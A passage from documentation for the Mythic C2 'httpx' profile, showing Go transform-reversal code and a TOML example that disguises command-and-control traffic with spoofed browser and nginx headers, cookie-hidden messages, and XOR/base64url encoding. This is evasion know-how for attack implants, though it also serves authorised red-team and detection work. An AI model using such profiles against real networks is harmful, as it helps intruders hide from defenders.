variation.Client.Transforms[i].Value) case "prepend": result, err = transformPrependReverse(result, variation.Client.Transforms[i].Value) case "append": result, err = transformAppendReverse(result, variation.Client.Transforms[i].Value) case "netbios": result, err = transformNetbiosReverse(result, variation.Client.Transforms[i].Value) case "netbiosu": result, err = transformNetbiosuReverse(result, variation.Client.Transforms[i].Value) default: return nil, errors.New(fmt.Sprintf("unknown action: %s", variation.Client.Transforms[i].Action)) } if err != nil { return nil, err } } return result, nil } ``` -------------------------------- ### Agent Configuration with Domain-Specific Headers (TOML) Source: https://context7.com/mythicc2profiles/httpx/llms.txt Defines C2 agent configuration using TOML, specifying request verbs, URIs, client/server headers, and message details. It supports domain-specific header overrides for particular hosts and includes transformation actions for request/response data. ```toml name = "TEST" [get] verb = "GET" uris = ["/my/uri/path"] [get.client] headers."User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" parameters.MyKey = "value" # Domain-specific header overrides [get.client.domain_specific_headers."https://example.com:443"] User-Agent = "CustomAgent/1.0" Authorization = "Bearer token123" [get.client.message] location = "cookie" name = "sessionID" [[get.client.transforms]] action = "base64url" [get.server.headers] Server = "nginx" Cache-Control = "max-age=0, no-cache" [[get.server.transforms]] action = "xor" value = "secretKey" [[get.server.transforms]] action = "base64url" [post] uris = ["/my/other/path"] verb = "POST" [post.client.headers] "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [post.client.message] location = "body" [[post.client.transforms]] action = "xor" value = "keyHere" [[post.client.transforms]] action = "base64url" [post.server.headers] Keep-Alive = "true" ```